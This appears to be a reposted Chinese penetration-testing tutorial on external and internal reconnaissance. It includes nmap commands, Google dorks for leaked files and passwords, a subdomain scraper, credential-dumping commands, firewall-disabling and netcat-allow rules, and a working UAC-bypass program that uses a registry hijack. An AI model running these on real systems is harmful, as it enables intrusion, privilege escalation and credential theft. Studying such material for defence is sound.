原文链接:信息收集知识汇总
息收集知识汇总
前言近日,因为某些缘故,想着把信息收集的知识汇总起来,分享一些想法。
热点新闻2023年3月2日,美国联邦调查局互联网犯罪投诉中心 (IC3) 收到了 600 多起投诉,诈骗者瞄准分时度假的受害者,犯罪金额约数百万美元。
我国高度关注各类诈骗,昨天本人意外收到了国家反诈中心的温馨提示,基本内容是“务必提高警惕,谨防上当受骗”。 诈骗不分国门,务必提高警惕,谨防上当受骗。
信息收集简介在安全领域,关于信息(数据/资产)的重要性不言而喻。单论网络安全,信息收集可以分为外网信息收集和内网信息收集。在实际渗透的过程中,熟练使用信息收集的方法可以事半功倍。 外网信息收集(打点)这里是自己随手画的一个信息收集一般流程,后面的内容也是围绕这张图来展开。 参考资料: 外网信息搜集 - 断zhang - 博客园 (cnblogs.com) (148条消息) 信息收集之外网信息收集_小黑安全的博客-CSDN博客 1、web信息收集
(1)网站脚本判断 判断网站是否是伪静态,目的是为了后面更好地使用工具。具体的方法有:打开网站的调试界面,判断网站的时间是否变化。 (2)指纹识别 指纹识别的目的是为了确定站点的cms是什么,方便后面更好的利用漏洞,实现getshell。一般都是通过工具来实现,如whatweb,或者在线平台云悉指纹。 (3)中间件判断 常见的中间件有:IIS 、Apache、 httpd 、Nginx、 weblogic、 tomcat、 jboss、 jekins、 webspher。判断的方法需要具体而论,有通过端口来判断,如7001,weblogic;有通过抓包,查看server;也有通过工具,如nmap等。 (4)系统判断 主要是判断操作系统的类型,如windows、linux等。具体的方法有特殊命令,如ls,只在linux中起作用,windows报错;还有大小写等。 (5)网站数据库 常见的数据库有:Mysql、SQL Server、PostgreSQL、Oracle、ACCESS等。判断的方法可以通过数据库的端口、常见搭配或者工具。 常见端口如下: 数据库类型 | 端口 | Access | 无 | Mysql | 3306 | mssql | 1433 | Oracle | 1521 |
工具方面,最常见的就是sqlmap。
2、端口扫描
通过扫描端口,不仅可以判断对方主机是否在线,而且还可以探知对应的服务,进而确定针对性的攻击。常见的端口扫描工具有nmap。 常用的指令及功能如下: 指令 | 功能 | nmap -sP 192.168.1.0
/24 | ping扫描,扫描网段中响应的主机 | nmap -sS 192.168.1.2 | SYN扫描,由于没有完成三次握手,所以日志不会记录。 | nmap -sT 192.168.1.2 | TCP扫描 | nmap -sU 192.168.1.2 | UDP 扫描 | nmap -O 192.168.1.2 | 探测目标主机的操作系统 | nmap -PS 192.168.1.2 | 探测目标主机开放的端口。 |
3、子域名扫描
子域名一般是父域名的下一级。一般企业主站域名的防护都是重点,安全级别越高,突破难度越大,而企业可能会有数十个甚至更多的子域名应用,因为数量众多,安全因素和成本投入大,相应的防护也没有那么及时有效。 (记得在360、奇安信的红队攻击手法中,都提过这种迂回战术。) 一般子域名信息点如下: (1)子域名包含一些常见资产类型:办公系统,邮箱系统,论坛,商城等。而其他管理系统,网站管理后台等较少出现在子域名中。 (2)一般情况下,相同类型漏洞可能存在同一组织的不同的域名/应用程序中。 (3)子域名系统维护成本、用户群体等,一般少于主域名,会存在一些版本迭代、配置不安全、弱密码账号管理策略等。 (4)子域名探测发现更多的服务,增加漏洞发现的可能性 常用的方法有:(原理一般都是字典爆破、DNS信息收集、证书查询、爬虫提取子域名) 参考资料:(148条消息) 信息搜集-子域名挖掘_子域名查询_XG小刚的博客-CSDN博客 (1)Layer 子域名挖掘机 (2)dig (3)在线收集工具:crtsh (4)谷歌语法,常用语句site、inurl、intext,例如: site:xx.com inurl:id=1 intext:后台 (5)fofa (6)自动化工具:OneForAll、subfinder等 这里提供几个下载地址:
- https://github.com/shmilylty/OneForAll
- https://github.com/euphrat1ca/LayerDomainFinder
- https://github.com/knownsec/ksubdomain
下面提供一个目录扫描的脚本: - # python 3
- import requests
- import os
- import re
- def search(page, req_head):
- sites = []
- for i in range(page):
- url = "https://www.baidu.com/s?wd=inurl:{0}&pn={1}0".format(key, i)
- print("[+] 正在扫描第{0}页,url为:{1}".format(i, url))
- response = requests.get(url, headers=req_head).content
- subdomains = re.findall('(\w+\.ntu\.edu\.cn)', response.decode('utf8'))
- while not subdomains: # 被反爬虫机制检测到,重新访问直到访问成功
- print("[-] 被反爬虫检测到,尝试重新访问")
- response = requests.get(url, headers=req_head).content
- subdomains = re.findall('(\w+\.ntu\.edu\.cn)', response.decode('utf8'))
- print("[+] 访问成功搜集到子域名:", subdomains)
- sites += list(subdomains)
- site = list(set(sites)) # set()实现去重
- # print site
- print("The number of sites is %d" % len(site))
- return site
- if __name__ == '__main__':
- key = input("请输入要扫描的域名:")
- head = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36'}
- site = search(50, req_head=head)
- file_path = os.path.dirname(__file__)+"/子域名扫描结果.txt" # 在当前目录创建文件,保存结果
- fp = open(file_path, 'w', encoding='utf-8')
- for i in site:
- fp.write(i+"\n")
- print("[+] 正在写入扫描结果:"+i)
- print("[+] 扫描任务结束,结果保存在当前目录下,文件名:子域名扫描结果.txt
- "
复制代码
4、敏感信息收集
常见的敏感信息包括:目录结构、敏感文件、接口、源代码、邮箱等。目录结构及文件,例如:robots.txt、备份文件、站点配置文件、敏感api接口等。收集到这类敏感数据,可以制作价值较高的字典,用来暴力破解。 下面例举一些常见的谷歌语法: - 上传类地址:
- site:target.com inurl:file
- site:target.com inurl:upload
- 注入页面:
- site:target.com inurl:?id=
- site:target.com inurl:php?id=
- 编辑器页面:
- site:target.com inurl:ewebeditor
- 目录遍历漏洞:
- site:target.com intitle: "index of"
- SQL错误:
- site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:"Warning: pg_connect()"
- phpinfo泄露:
- site:target.com ext:php intitle:phpinfo "published by the PHP Group"
- 敏感文件泄露:
- site:target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini|.sql | .dbf | .mdb | .db|.log
- 敏感数据:
- site:target.com intitle:账号 | 密码 | 工号 | 学号 | 身份证
复制代码
此外还有github高级搜索语法: https://docs.github.com/cn/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax?spm=a2c6h.12873639.article-detail.6.55db74b8e8hJQq 对于邮箱和网盘,可以使用snov.io和网盘搜索工具,用来找到敏感数据。 另外,对于一些已经被攻击的网站,也可以尝试搜索shell文件或黑页。
5、其他信息查询
这里列出一下经常会遇到的问题。 (1)如何判断CDN,并且绕过CND找到真实IP CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定
常见的判断方法:多ping、header头信息、在线检测工具。 相关的工具如下: 查找真实IP的方法:查询历史解析记录、fofa、SSL证书、源代码等。 (2)如何判断是否存在waf 遇到waf,一般需要对症下药。判断的方法有手动和工具。手动的方法,就是输入敏感字眼,观察是否被拦截。工具,一般有wafw00f、WahtWaf等。 (3)如何判断第三方组件 一般通过异常报错、常用路由、常用header头来获取组件版本、配置等相关信息 (4)如何判断蜜罐 通常将蜜罐(honeypot)定义为一种安全资源,它不需要提供实际的应用,蜜罐的存在价值就是诱导和记录攻击行为,从而了解攻击者的入侵方法和手段,并能够延缓其攻击进程,进而根据捕获的攻击行为数据,分析攻击者使用的攻击方法和工具,从而让防御方针对性地增强系统的安全防护能力
常见工具:anti-honeypot插件、Honeypot Hunter (5)如何识别HOST碰撞 访问某些页面,出现一些限制性的问题,如:ip访问响应多为:nginx、4xx、500、503、各种意义不明的Route json提示等域名解析后到内网地址有服务器真实 IP,但找不到内网域名 一般的处理方法:使用收集到的目标IP、爬虫或自定义的内部域名(内网host池),作为字典,通过脚本进行碰撞,脚本会自动模拟绑定ip与host进行请求交互,通过标题或响应大小判断结果。只要字典够强大,总能出一两个,爆破时最好也试下TLS,部分主机会使用TLS的。验证结果,只需修改本机host文件绑定host与ip后,看访问变化自动化工具:灯塔 https://github.com/fofapro/Hosts_scan 内网信息收集内网信息收集,是横向移动的前提。下面是本人想到的一些点。 参考资料:(148条消息) 内网信息收集【转载】_红狐马丁的博客-CSDN博客 1、本机信息收集
常见的信息收集命令和功能如下: 命令 | 功能 | Systeminfo | 列出计算机信息以及补丁信息 | query user | 查看当前在线用户 | tasklist | 查询本机器的进程信息,确定有没有杀软 |
2、查询登录历史
使用query user即可列出计算机当前在线用户。 工具psloggedon.exe https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
3、定位域信息
判断是否存在域,使用whoami; 判断是否存在内网,使用ipconfig,查看网卡。 查看当前登录域及登录信息,使用net config workstation。 查看域内用户,使用net user /domain 查看有几个域,使用 net view /domain 查看域用户,使用net group "domain users" /domain 查看域控制器,使用 net group "domain controllers" /domain 查看域内所有主机,使用 net group "domain computers" /domain 查看用户SID和域的SID,使用whoami /all 查看域控用户,使用net view /domain 查看域控主机,使用nslookup -type=srv _ldap._tcp 等等,这里有很多,通常比较关注的是如何搜集域信息,定位到域控。
4、寻找不弹出UAC的程序
UAC是windows系统的一种保护机制,其原理是通知用户是否对应用程序使用硬盘驱动和系统授权文件,以达到帮助阻止恶意程序损坏系统的效果。 在实际工作中,运行程序,经常会弹出“需要获取管理员权限”的框,这就是UAC起了作用。那什么时候不弹框呢?这就需要获取管理员的权限。一些具有管理员权限的程序,也称为白名单程序。这类程序有一个关键字段autoElevete,如果等于True,那么在启动时,会自动提升权限。 寻找不弹UAC的程序,需要满足下面几个要求: (1)程序的manifest标识的配置属性 autoElevate 为true (2) 程序不弹出UAC弹窗 (3)从注册表里查询Shell\Open\command键值对 针对第一个条件,一般需要在system32中寻找,这里提供如下脚本:
- import os
- from subprocess import *
- path = 'c:\windows\system32'
- files = os.listdir(path)
- print(files)
- def GetFileList(path, fileList):
- newDir = path
- if os.path.isfile(path):
- if path[-4:] == '.exe':
- fileList.append(path)
- elif os.path.isdir(path):
- try:
- for s in os.listdir(path):
- newDir=os.path.join(path,s)
- GetFileList(newDir, fileList)
- except Exception as e:
- pass
- return fileList
- files = GetFileList(path, [])
- print(files)
- for eachFile in files:
- if eachFile[-4:] == '.exe':
- command = r'.\sigcheck64.exe -m {} | findstr auto'.format(eachFile)
- print(command)
- p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
- if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
- copy_command = r'copy {} .\success'.format(eachFile)
- Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
- print('[+] {}'.format(eachFile))
- with open('success.txt', 'at') as f:
- f.writelines('{}\n'.format(eachFile))
复制代码
针对第三个条件,由于以shell\open\command命名的键值对存储的是可执行文件的路径,如果exe程序运行的时候找到该键值对,就会运行该键值对的程序,而因为exe运行的时候是静默提升了权限,所以运行的该键值对的程序就已经过了uac。 所以针对第三个条件,需要把恶意的路径写入该键值对。默认键值对的位置是HKCU:\Software\Classes\ms-settings\shell\open\command,提供脚本如下:
- #include <stdio.h>
- #include <Windows.h>
- int wmain(int argc, wchar_t* argv[]) {
- if (argc != 2) {
- wprintf(L"Usage: %s <filePath>\n", argv[0]);
- wprintf(L" %s cmd.exe\n", argv[0]);
- exit(1);
- }
- LPWSTR filePath = argv[1];
- PROCESS_INFORMATION pi = { 0 };
- STARTUPINFOA si = { 0 };
- HKEY hKey;
- si.cb = sizeof(STARTUPINFO);
- si.wShowWindow = SW_HIDE;
- RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-
- settings\\Shell\\open\\command", &hKey); // 创建注册表项 RegSetValueExW(hKey, L"", 0, REG_SZ, (LPBYTE)filePath, lstrlenW(filePath));
- // 赋值,执行的exe路径
- RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof("")); // 创建进程ComputerDefaults
- CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c
- C:\\Windows\\System32\\ComputerDefaults.exe"
- NULL, NULL, &si, &pi);
- // 延时十秒,等ComputerDefaults.exe运行
- Sleep(10000);
- // 清楚注册表项
- RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");
- return 0; }
复制代码
5、凭据收集
cmdkey /list 列出系统中的Windows凭据 Xshell6连接凭据: %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions Netsh wlan show profiles 列出登陆过的wifi密码 vaultcmd /list 保管库的列表 自动化工具: PowerTools: <https://github.com/PowerShellEmpire/PowerTools> 油猴子: http://www.fuzzysecurity.com/scripts/files/wmic_info.rar 6、弹出内网存活主机及端口
arp -a 探测内网存活主机; 或者使用ICMP,脚本为: - for /L %I in (1,1,254) Do @ping -w l -n 1 192.168.1.%I findstr "TTL="
复制代码
另外工具方面,有namp、scan
7、查询防火墙
查看防火墙的配置: - netsh firewall show config
复制代码 关闭防火墙:
- netsh advfirewall set allprofiles state off
复制代码
修改防火墙的配置: (03年以前的版本) - netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
复制代码 (03年以后的版本)
- 允许指定程序进入,命令如下:
- netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
- 允许指定程序退出,命令如下:
- netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
- 允许3389端口放行:
- netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
复制代码 自定义防火墙存储位置:
- netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
复制代码
8、查询并配置远程连接端口
查询语句:
- REG QUERY “HKEY_LOcal_MACHINE\SYSTEM\CurrentControLset\Control\Terminal Server \WinStations\RDP-TCP" /v PortNUmber
复制代码 配置语句:
- wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1
复制代码
|